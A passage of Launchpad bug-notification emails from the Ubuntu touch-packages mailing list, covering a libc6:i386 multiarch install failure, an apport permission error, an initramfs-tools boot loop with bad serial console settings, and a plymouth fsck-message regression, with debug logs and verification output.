Easily reproducible on a system with libc6=2.31-0ubuntu9: # apt install -o Debug::pkgPackageManager=True libc6:i386 ... Do you want to continue? [Y/n] Beginning to order Done ordering SmartUnPack libc6:amd64 (replace version 2.31-0ubuntu9 with 2.31-0ubuntu9.1) immediately Ignore not-installed version 2.31-0ubuntu9 of libc6:i386 for libc6:amd64 Breaks on libc6:i386 < none -> 2.31-0ubuntu9.1 @un pumN > (!= 2.31-0ubuntu9.1) SmartUnPack libc6:i386 (install version 2.31-0ubuntu9.1) Ignore already dealt-with version 2.31-0ubuntu9 of libc6:amd64 for libc6:i386 Breaks on libc6:amd64 < 2.31-0ubuntu9 -> 2.31-0ubuntu9.1 @ii umU > (!= 2.31-0ubuntu9.1) SmartConfigure libc6:amd64 (2.31-0ubuntu9.1) Found ok dep libgcc-s1:amd64 < 10-20200411-0ubuntu1 @ii mK > Found ok dep libcrypt1:amd64 < 1:4.4.10-10ubuntu4 @ii mK > SmartConfigure libc6:i386 (2.31-0ubuntu9.1) Unpacking libgcc-s1:i386 to avoid loop libc6:i386 Depends on libgcc-s1:i386 < none -> 10-20200411-0ubuntu1 @un umN > SmartUnPack libgcc-s1:i386 (install version 10-20200411-0ubuntu1) immediately SmartConfigure libgcc-s1:i386 (10-20200411-0ubuntu1) Unpacking gcc-10-base:i386 to avoid loop libgcc-s1:i386 Depends on gcc-10-base:i386 < none -> 10-20200411-0ubuntu1 @un umN > (= 10-20200411-0ubuntu1) SmartUnPack gcc-10-base:i386 (install version 10-20200411-0ubuntu1) immediately SmartConfigure gcc-10-base:i386 (10-20200411-0ubuntu1) Configure already unpacked libc6:i386 < none -> 2.31-0ubuntu9.1 @un pumN > SmartConfigure libc6:i386 (2.31-0ubuntu9.1) (Only Correct Dependencies) Package libc6:i386 < none -> 2.31-0ubuntu9.1 @un pumN > loops in SmartConfigure, but it isn't unpacked yet Package libc6:i386 < none -> 2.31-0ubuntu9.1 @un pumN > loops in SmartConfigure, but it isn't unpacked yet Could not satisfy libc6:i386 Depends on libcrypt1:i386 < none -> 1:4.4.10-10ubuntu4 @un umN > (>= 1:4.4.10-10ubuntu4) Unpacking libcrypt1:i386 to avoid loop libc6:i386 Depends on libcrypt1:i386 < none -> 1:4.4.10-10ubuntu4 @un umN > (>= 1:4.4.10-10ubuntu4) SmartUnPack libcrypt1:i386 (install version 1:4.4.10-10ubuntu4) immediately SmartConfigure libcrypt1:i386 (1:4.4.10-10ubuntu4) Configure already unpacked libc6:i386 < none -> 2.31-0ubuntu9.1 @un pumN > SmartConfigure libc6:i386 (2.31-0ubuntu9.1) (Only Correct Dependencies) Configure already unpacked libgcc-s1:i386 < none -> 10-20200411-0ubuntu1 @un umN > SmartConfigure libgcc-s1:i386 (10-20200411-0ubuntu1) Configure already unpacked libc6:i386 < none -> 2.31-0ubuntu9.1 @un pumN > SmartConfigure libc6:i386 (2.31-0ubuntu9.1) (Only Correct Dependencies) Skipping already done gcc-10-base:i386 ... Processing triggers for libc-bin (2.31-0ubuntu9) ... E: Could not configure 'libc6:i386'. E: Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) root@ff-glibc-i386:~# echo $? 100 root@ff-glibc-i386:~# Apart from the error messages and the exit code 100 the upgrade is completed. Libc6 could Pre-Depend: on libcrypt1, but this did not work well either according to the changelog: glibc (2.31-0ubuntu5) focal; urgency=medium * Move libcrypt1 back from pre-depends to depends; while this works fine on upgrades, it fails on new installations of libc6+libcrypt1 via apt, which is relevant for multiarch and therefore not viable. -- Steve Langasek Wed, 11 Mar 2020 23:26:31 -0700 glibc (2.31-0ubuntu4) focal; urgency=medium * debian/testsuite-xfail-debian.mk: mark as XFAIL various new tests which depend on a container setup which does not work correctly with Debian's multiarch-style layout. (https://sourceware.org/bugzilla/show_bug.cgi?id=25652) * Move libcrypt to pre-depends of libc, to ensure libraries possibly required by essential packages are always present on disk throughout an upgrade. * Install the architecture specific math-vector-fortran.h into the multiarch include dir. LP: #1861353. -- Steve Langasek Tue, 10 Mar 2020 23:19:41 -0700 APT could on the other hand could handle the issue with a warning/notice only and return success and everything would be fine. The good news is that with new images the problem will disappear because if the native glibc packages are up to date installing the foreign one succeeds without this warning. ** Bug watch added: Sourceware.org Bugzilla #25652 https://sourceware.org/bugzilla/show_bug.cgi?id=25652 ** Also affects: apt (Ubuntu) Importance: Undecided Status: New ** Changed in: glibc (Ubuntu Focal) Status: In Progress => Invalid ** Changed in: apt (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, whic
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
Dell L502X laptop / 256gb SSD / 16GB RAM Windows 10 OS Dual boot - Ubuntu 20.04.01 installation crashes with libc6:i386 configuration error. At my wits end trying to make this work. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: New Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Focal: New Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
Forgot to add: Nvidia GT540 video card installation of Ubuntu 20.04.01 via USB drive. Trying to dual boot with windows 10. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: New Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Focal: New Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
At least Bionic's glibc is not affected. ** Also affects: apt (Ubuntu Bionic) Importance: Undecided Status: New ** Also affects: glibc (Ubuntu Bionic) Importance: Undecided Status: New ** Also affects: ubiquity (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: glibc (Ubuntu Bionic) Status: New => Invalid ** Changed in: glibc (Ubuntu Bionic) Status: Invalid => Fix Released ** Changed in: ubiquity (Ubuntu Bionic) Status: New => Invalid ** Changed in: apt (Ubuntu Bionic) Status: New => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: New Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Bionic: Invalid Status in glibc source package in Bionic: Fix Released Status in ubiquity source package in Bionic: Invalid Status in apt source package in Focal: New Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Ma
[Touch-packages] [Bug 1895865] Re: /usr/share/apport/dump_acpi_tables.py:PermissionError:/usr/share/apport/dump_acpi_tables.py@59:dump_acpi_tables:dump_acpi_table
** Also affects: apport (Ubuntu Focal) Importance: Undecided Status: New ** Changed in: apport (Ubuntu Focal) Status: New => Triaged ** Changed in: apport (Ubuntu Focal) Importance: Undecided => High ** Changed in: apport (Ubuntu Focal) Assignee: (unassigned) => Brian Murray (brian-murray) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1895865 Title: /usr/share/apport/dump_acpi_tables.py:PermissionError:/usr/share/apport/dump_acpi_tables.py@59:dump_acpi_tables:dump_acpi_table Status in apport package in Ubuntu: Fix Released Status in apport source package in Focal: Triaged Status in apport source package in Groovy: Fix Released Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding apport. This problem was most recently seen with package version 2.20.11-0ubuntu45, the problem page at https://errors.ubuntu.com/problem/ad705c1a5e4068bcae9d4261519bac8fac5cb57f contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1895865/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1879987] Re: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist.
Verification done for bionic: bionic-updates: - boots fine w/ console=ttyS0, can ssh in 10 seconds. - boot fails w/ console=ttyS1, cannot SSH, qemu on 100% CPU (initramfs-tools looping) bionic-proposed: - boots fine w/ console=ttyS0, can ssh in 10 seconds. (no regression) - boots fine w/ console=ttyS1, can ssh in 10 seconds, qemu on low CPU% (issue fixed) details: --- $ lsb_release -cs bionic bionic-updates: --- $ dpkg -s initramfs-tools | grep -i version: Version: 0.130ubuntu3.10 console=ttyS0: $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.15.0-99-generic root=UUID=f513680e-7260-45e3-b4aa-89e4a210be77 ro console=ttyS0 console=ttyS1: (cannot SSH into system. CPU% always high for QEMU.) $ top -b -d1 | grep -e CPU -e qemu PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142522 libvirt+ 20 0 3745600 485332 23116 S 100.0 3.0 1:30.08 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142522 libvirt+ 20 0 3745600 485332 23116 S 99.0 3.0 1:31.08 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142522 libvirt+ 20 0 3745600 485332 23116 S 98.0 3.0 1:32.07 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142522 libvirt+ 20 0 3745600 485332 23116 S 99.0 3.0 1:33.07 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142522 libvirt+ 20 0 3745600 485332 23116 S 99.0 3.0 1:34.06 qemu-system-x86 ^C bionic-proposed: --- $ dpkg -s initramfs-tools | grep -i version: Version: 0.130ubuntu3.11 console=ttyS0: $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.15.0-99-generic root=UUID=f513680e-7260-45e3-b4aa-89e4a210be77 ro console=ttyS0 console=ttyS1: (can SSH into system. CPU% low for QEMU) $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.15.0-99-generic root=UUID=f513680e-7260-45e3-b4aa-89e4a210be77 ro console=ttyS1 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142731 libvirt+ 20 0 3656512 602160 22816 S 83.2 3.7 0:38.73 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142731 libvirt+ 20 0 3656512 602160 22816 S 29.7 3.7 0:39.03 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142731 libvirt+ 20 0 3656512 602160 22816 S 1.0 3.7 0:39.04 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142731 libvirt+ 20 0 3656512 602160 22816 S 2.0 3.7 0:39.06 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 142731 libvirt+ 20 0 3656512 602160 22816 S 2.9 3.7 0:39.09 qemu-system-x86 ** Tags removed: verification-needed-bionic ** Tags added: verification-done-bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879987 Title: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist. Status in initramfs-tools package in Ubuntu: Fix Released Status in initramfs-tools source package in Trusty: Won't Fix Status in initramfs-tools source package in Xenial: Fix Committed Status in initramfs-tools source package in Bionic: Fix Committed Status in initramfs-tools source package in Eoan: Won't Fix Status in initramfs-tools source package in Focal: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Bug description: [Impact] * Currently, if users provide the wrong console in kernel command-line (like console=ttyS1, when the right one is ttyS0) *and* "quiet" parameter is not provided, we may face an infinite loop on initramfs- tools, effectively blocking the boot. * Details are: the _log_msg() functions is "void" typed, which means it returns whatever its last command returns; this function is the basic building block for all error/warning messages in initramfs-tools. In case a bad console was provided to kernel on command-line, printf (and apparently all write()-related functions) returns error, and so this error is carried over in _log_msg(). * Happens that checkfs() function has a loop that runs forever in this scenario (*if* fsck is not present in initramfs, and obviously if "quiet" is not provided in the command-line). The situation is easily reproducible. * This SRU proposes a pretty simple fix: return zero on _log_msg(). We should definitely not brake the boot due to error log functions. [Test Case] * To reprodu
[Touch-packages] [Bug 1880250] Re: Ctrl-C message displayed without any actual disk check
Turns out, the missing fsck progress bar is a regression: https://github.com/systemd/systemd/issues/17157 ** Bug watch added: github.com/systemd/systemd/issues #17157 https://github.com/systemd/systemd/issues/17157 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1880250 Title: Ctrl-C message displayed without any actual disk check Status in plymouth package in Ubuntu: Fix Released Status in systemd package in Ubuntu: Confirmed Status in plymouth source package in Focal: Confirmed Status in systemd source package in Focal: Confirmed Status in plymouth source package in Groovy: Fix Released Status in systemd source package in Groovy: Confirmed Bug description: [Impact] * fsck messages is shown by plymouth, despite all fscks already completed. [Test Case] * Install Ubuntu Desktop with full disk encryption * Observe that fsck messages (press ctrl+c) is shown, and remains there on screen for a little while as plymouth transitions to gdm * After installing the update, observe that when fsck completes the messages are cleared and the transition to gdm is done without fsck/ctrl+c message present. * After this change lands in -updates, and daily desktop images are built with this, double check that casper-md5sum transition is also smooth. [Regression Potential] * plymouth spinner theme is adjusted to clear the footer, at the end of fsck, even if systemd-fsckd didn't do that. At the moment there are two consumers of the fsck apis systemd-fsckd & casper-md5sum used on installed systems and live-isos respectively. If something else pushes messages to the footer, they might get cleared at the end of fsck. [Other Info] * Original bug report It seems the transition to bgrt lost something with Ubuntu's disk check details. The only thing I see on my screen during a long disk check is the "press Ctrl-C to stop all in progress disk checks" with no progress. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/plymouth/+bug/1880250/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1879987] Re: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist.
Verification done for xenial: xenial-updates: - boots fine w/ console=ttyS0, can ssh in 10 seconds. - boot fails w/ console=ttyS1, cannot SSH, qemu on 100% CPU (initramfs-tools looping) xenial-proposed: - boots fine w/ console=ttyS0, can ssh in 10 seconds. (no regression) - boots fine w/ console=ttyS1, can ssh in 10 seconds, qemu on low CPU% (issue fixed) details: --- $ lsb_release -cs xenial xenial-updates: --- $ dpkg -s initramfs-tools | grep -i version: Version: 0.122ubuntu8.16 console=ttyS0: $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-184-generic root=UUID=c763ea2f-6085-4419-8895-3cefa32d1477 ro console=ttyS0 console=ttyS1: (cannot SSH into system. CPU% always high for QEMU.) $ top -b -d1 | grep -e CPU -e qemu PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143433 libvirt+ 20 0 3886900 366840 22900 S 106.7 2.3 0:32.52 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143433 libvirt+ 20 0 3886900 366840 22900 S 101.0 2.3 0:33.54 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143433 libvirt+ 20 0 3886900 366840 22900 S 100.0 2.3 0:34.55 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143433 libvirt+ 20 0 3886900 366840 22900 S 100.0 2.3 0:35.56 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143433 libvirt+ 20 0 3886900 366840 22900 S 101.0 2.3 0:36.57 qemu-system-x86 ^C xenial-proposed: --- $ dpkg -s initramfs-tools | grep -i version: Version: 0.122ubuntu8.17 console=ttyS0: $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-184-generic root=UUID=c763ea2f-6085-4419-8895-3cefa32d1477 ro console=ttyS0 console=ttyS1: (can SSH into system. CPU% low for QEMU) $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-184-generic root=UUID=c763ea2f-6085-4419-8895-3cefa32d1477 ro console=ttyS1 143646 libvirt+ 20 0 4596800 692248 22972 R 158.4 4.3 0:53.95 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143646 libvirt+ 20 0 4596800 692248 22972 S 104.0 4.3 0:55.00 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143646 libvirt+ 20 0 4596800 692248 22972 S 2.0 4.3 0:55.02 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143646 libvirt+ 20 0 4596800 692248 22972 S 2.0 4.3 0:55.04 qemu-system-x86 PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 143646 libvirt+ 20 0 4596800 692248 22972 S 37.3 4.3 0:55.42 qemu-system-x86 ** Tags removed: verification-needed verification-needed-xenial ** Tags added: verification-done verification-done-xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879987 Title: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist. Status in initramfs-tools package in Ubuntu: Fix Released Status in initramfs-tools source package in Trusty: Won't Fix Status in initramfs-tools source package in Xenial: Fix Committed Status in initramfs-tools source package in Bionic: Fix Committed Status in initramfs-tools source package in Eoan: Won't Fix Status in initramfs-tools source package in Focal: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Bug description: [Impact] * Currently, if users provide the wrong console in kernel command-line (like console=ttyS1, when the right one is ttyS0) *and* "quiet" parameter is not provided, we may face an infinite loop on initramfs- tools, effectively blocking the boot. * Details 